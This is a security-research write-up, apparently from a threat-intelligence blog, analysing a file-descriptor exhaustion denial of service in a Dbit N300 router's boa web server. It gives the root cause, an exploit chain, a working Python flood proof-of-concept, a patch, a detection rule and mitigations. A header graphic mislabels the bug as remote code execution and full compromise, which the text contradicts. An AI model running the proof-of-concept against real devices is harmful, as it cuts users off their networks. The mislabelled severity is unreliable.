home intel cve-2026-36957-dbit-n300-boa-fd-exhaustion
CVE Analysis 2026-04-30 · 8 min read

CVE-2026-36957: Dbit N300 Boa URI Handler Resource Exhaustion DoS

The Dbit N300 T1 Pro boa web server fails to bound concurrent connection state, allowing unauthenticated HTTP flood to exhaust file descriptors and trigger kernel deadlock.

#denial-of-service#http-flood#resource-exhaustion#web-server#router-firmware
Technical mode — for security professionals
▶ Attack flow — CVE-2026-36957 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-36957Linux · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-36957 is an unauthenticated remote denial-of-service in the Dbit N300 T1 Pro Easy Setup Wireless Wi-Fi Router V1.0.0. The vulnerability lives in the boa HTTP server's URI dispatch loop. When an attacker floods the device with HTTP GET requests targeting non-existent URIs, boa allocates per-connection state and opens file descriptors for each request without enforcing a hard ceiling on concurrent connections or releasing descriptors fast enough under load. The process exhausts the kernel's per-process file descriptor table, after which every subsequent accept(), open(), and socket() call returns EMFILE. The router's web management portal becomes permanently unreachable and routing capability degrades to a halt, requiring a physical power cycle to recover.

CVSS 7.5 (HIGH) — Network / Low complexity / No privileges / No interaction / High availability impact.

Affected Component

The affected binary is /usr/sbin/boa, a stripped MIPS32 ELF linked against uClibc. The vulnerability manifests in two cooperating subsystems:

  • URI handler dispatchprocess_request() allocates a request struct per accepted connection.
  • Connection cleanupfree_request() / close_connection() are only called on graceful teardown, not on partial or aborted reads, leaving descriptors open until the process's FD table saturates.

Root Cause Analysis

Boa's main event loop calls accept() in a tight iteration, wraps the resulting socket in a heap-allocated request struct, and enqueues it for reading. The URI is read and dispatched through get_request(). For 404 paths, send_r_not_found() queues a response but the actual close() is deferred to the next select loop iteration. Under flood conditions, new accept() calls outpace the deferred close path, growing the live FD set without bound.

/* boa: src/request.c — process_request(), reconstructed pseudocode */

#define MAX_CONNECTIONS  0   // BUG: not enforced; compiled-out or absent

typedef struct request {
    int    fd;              // accepted socket fd — never closed on 404 fast-path
    int    data_fd;        // file fd for static content
    char   request_uri[MAX_HEADER_LENGTH];
    char   pathname[MAX_PATH];
    struct request *next;
} request_t;

static request_t *request_free_list = NULL;
static int        total_connections = 0;   // BUG: incremented, never capped

request_t *new_request(int server_fd) {
    int conn_fd = accept(server_fd, NULL, NULL);
    if (conn_fd == -1) {
        /* EMFILE is silently dropped — boa re-enters select(), accepts nothing */
        return NULL;
    }

    // BUG: no guard on total_connections before allocation
    request_t *r = (request_t *)malloc(sizeof(request_t));
    if (!r) return NULL;

    r->fd   = conn_fd;
    r->next = NULL;
    total_connections++;       // BUG: unbounded increment
    return r;
}

void get_request(request_t *r) {
    int bytes = read(r->fd, r->request_uri, MAX_HEADER_LENGTH);
    if (bytes <= 0) {
        /* BUG: partial / zero read on flood path — request struct leaked,
           r->fd never closed here; cleanup deferred to next loop tick
           that never arrives under sustained load                       */
        return;
    }
    dispatch_uri(r);
}

void dispatch_uri(request_t *r) {
    if (uri_not_found(r->request_uri)) {
        send_r_not_found(r);   // queues write, sets r->state = DONE
        // BUG: close(r->fd) happens only when write buffer drains;
        // under flood, write never completes before next accept()
        return;
    }
    /* ... normal handler ... */
}
Root cause: boa's URI dispatch path defers close(fd) to a write-completion callback that is starved under flood load, causing file descriptors to accumulate until EMFILE permanently disables accept() and kills all routing.

Memory Layout

Each request_t struct on the heap consumes the following layout. With a default uClibc rlimit of 256 file descriptors and a struct size of ~4 KB, the process heap expands roughly 1 MB before FD exhaustion occurs — well within the N300's constrained 32 MB RAM envelope, meaning RAM pressure and FD exhaustion hit simultaneously.

struct request {
    /* +0x000 */ int      fd;                         // live socket, 4 bytes
    /* +0x004 */ int      data_fd;                    // static file fd
    /* +0x008 */ int      post_data_fd;               // POST body tmp fd
    /* +0x00c */ int      state;                      // FSM state
    /* +0x010 */ char     request_uri[4096];          // URI buffer, unbounded read target
    /* +0x410 */ char     pathname[4096];             // resolved fs path
    /* +0x810 */ char     response_buf[1024];         // outbound HTTP headers
    /* +0xc10 */ struct request *next;                // freelist pointer
    /* +0xc14 */ struct request *prev;
    /* total  */ // ~0xc18 = 3096 bytes per live connection
};
HEAP STATE — 250 CONCURRENT FLOOD CONNECTIONS:

[ request_t #0   @ 0x80a4000  | fd=4  | state=WRITING | uri="/nonexist_0"  ]
[ request_t #1   @ 0x80a4c18  | fd=5  | state=WRITING | uri="/nonexist_1"  ]
[ ...                                                                        ]
[ request_t #251 @ 0x80f2408  | fd=255| state=READING | uri="/nonexist_251"]
[ request_t #252 @ 0x80f3020  | fd=-1 | accept()=EMFILE — malloc wasted    ]

KERNEL FD TABLE (pid=boa):
  fd 0-2:   stdin/stdout/stderr
  fd 3:     server listen socket
  fd 4-255: leaked accepted sockets (CLOSE_WAIT / ESTABLISHED)
  fd 256+:  EMFILE — all subsequent accept() fail silently

AFTER EXHAUSTION:
  boa select() loop spins on empty read set
  new TCP SYN packets: accepted by kernel, boa never calls accept()
  SYN backlog fills (default=5), router drops all new TCP
  DNS, DHCP renewal, and management plane: DEAD

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker on LAN (or WAN if remote management enabled) opens ~300 TCP
   connections to router port 80 in rapid succession.

2. Each connection sends a well-formed HTTP GET to a non-existent URI:
     GET /AAAAAAAAAAAAAAAAAAAAAA HTTP/1.0\r\n\r\n
   boa calls accept() → malloc(request_t) → reads partial headers.

3. Attacker holds TCP connections open (no FIN/RST) using SO_LINGER=0
   or simply keeping the socket alive. This prevents boa's deferred
   close() from ever firing on the write-completion path.

4. After ~252 connections (fd limit), boa's accept() returns EMFILE.
   boa logs nothing, re-enters select(), and blocks indefinitely.
   No new connections are serviced.

5. Existing routing state (conntrack, DHCP leases) begins to expire.
   Within 60–90 seconds all LAN clients lose internet access.

6. Recovery requires physical power cycle — boa has no watchdog restart
   and the web management portal is unreachable for OTA reboot.

A minimal Python proof-of-concept to reach exhaustion in under two seconds:

#!/usr/bin/env python3
# CVE-2026-36957 — Dbit N300 boa FD exhaustion PoC
# Research use only.

import socket, time, random, string

TARGET = "192.168.1.1"
PORT   = 80
SOCKS  = []

def rand_uri(n=24):
    return '/' + ''.join(random.choices(string.ascii_lowercase, k=n))

print(f"[*] Flooding {TARGET}:{PORT} — holding connections open")

for i in range(300):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TARGET, PORT))
        req = f"GET {rand_uri()} HTTP/1.0\r\nHost: {TARGET}\r\n\r\n"
        s.send(req.encode())
        # Do NOT close — hold descriptor open to prevent boa cleanup
        SOCKS.append(s)
        print(f"[+] connection {i+1} fd leaked on target")
    except Exception as e:
        print(f"[!] {i+1}: {e} — target likely exhausted")
        break

print(f"[*] {len(SOCKS)} sockets held. Router management portal should be dead.")
print("[*] Sleeping 90s to let conntrack expire...")
time.sleep(90)
# Clean up attacker side
for s in SOCKS:
    s.close()

Patch Analysis

The correct remediation requires two independent fixes: a hard connection ceiling enforced before malloc(), and eager close(fd) on the 404/error fast-path rather than deferring to the write-completion callback.

// BEFORE (vulnerable):
request_t *new_request(int server_fd) {
    int conn_fd = accept(server_fd, NULL, NULL);
    if (conn_fd == -1) return NULL;

    // no ceiling check
    request_t *r = malloc(sizeof(request_t));
    r->fd = conn_fd;
    total_connections++;
    return r;
}

void dispatch_uri(request_t *r) {
    if (uri_not_found(r->request_uri)) {
        send_r_not_found(r);  // deferred close; fd leaks under load
        return;
    }
}

// AFTER (patched):
#define MAX_CONNECTIONS  64   // hard ceiling matching RLIMIT headroom

request_t *new_request(int server_fd) {
    if (total_connections >= MAX_CONNECTIONS) {
        /* Reject immediately — don't even accept() to avoid backlog drain */
        return NULL;
    }
    int conn_fd = accept(server_fd, NULL, NULL);
    if (conn_fd == -1) return NULL;

    request_t *r = malloc(sizeof(request_t));
    if (!r) { close(conn_fd); return NULL; }  // fix: close on alloc fail

    r->fd = conn_fd;
    total_connections++;
    return r;
}

void dispatch_uri(request_t *r) {
    if (uri_not_found(r->request_uri)) {
        send_r_not_found(r);
        close(r->fd);          // fix: eager close, don't wait for write drain
        r->fd = -1;
        free_request(r);       // fix: return struct to free list immediately
        total_connections--;
        return;
    }
}

Detection and Indicators

From a management session before the device hangs:

## Check open FDs for boa process
$ ls -la /proc/$(pidof boa)/fd | wc -l
258        # approaching limit; normal is < 20

## netstat shows hundreds of CLOSE_WAIT sockets
$ netstat -antp | grep boa | grep CLOSE_WAIT | wc -l
247

## Kernel log (dmesg) on device console:
[  412.338] boa[843]: too many open files (EMFILE) in accept()
[  412.340] boa[843]: select: Bad file descriptor

## Snort / Suricata — detect flood pattern:
alert tcp any any -> $HOME_NET 80 (
    msg:"CVE-2026-36957 Dbit N300 boa FD exhaustion flood";
    flow:to_server,stateless;
    threshold:type both, track by_src, count 50, seconds 5;
    content:"GET /"; depth:5;
    sid:2026369570; rev:1;
)

Remediation

  • Firmware update: No vendor patch is currently available as of publication. Monitor the Dbit support portal for V1.0.1 or later.
  • Firewall rule: Rate-limit inbound TCP/80 connections per source IP at the upstream router or ISP CPE. Example iptables rule for devices behind a secondary router:
iptables -I INPUT -p tcp --dport 80 -m connlimit \
         --connlimit-above 10 --connlimit-mask 32 \
         -j REJECT --reject-with tcp-reset
  • Disable remote management: Ensure WAN-side HTTP management is disabled. The attack surface is LAN-only unless "Remote Management" is explicitly enabled in the router UI.
  • Network segmentation: Treat the management VLAN as untrusted until a firmware fix is available. Any compromised LAN host can trigger this DoS trivially.
  • Watchdog: No software mitigation exists once the device is hung; only a hardware watchdog timer would allow automatic recovery without physical intervention.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →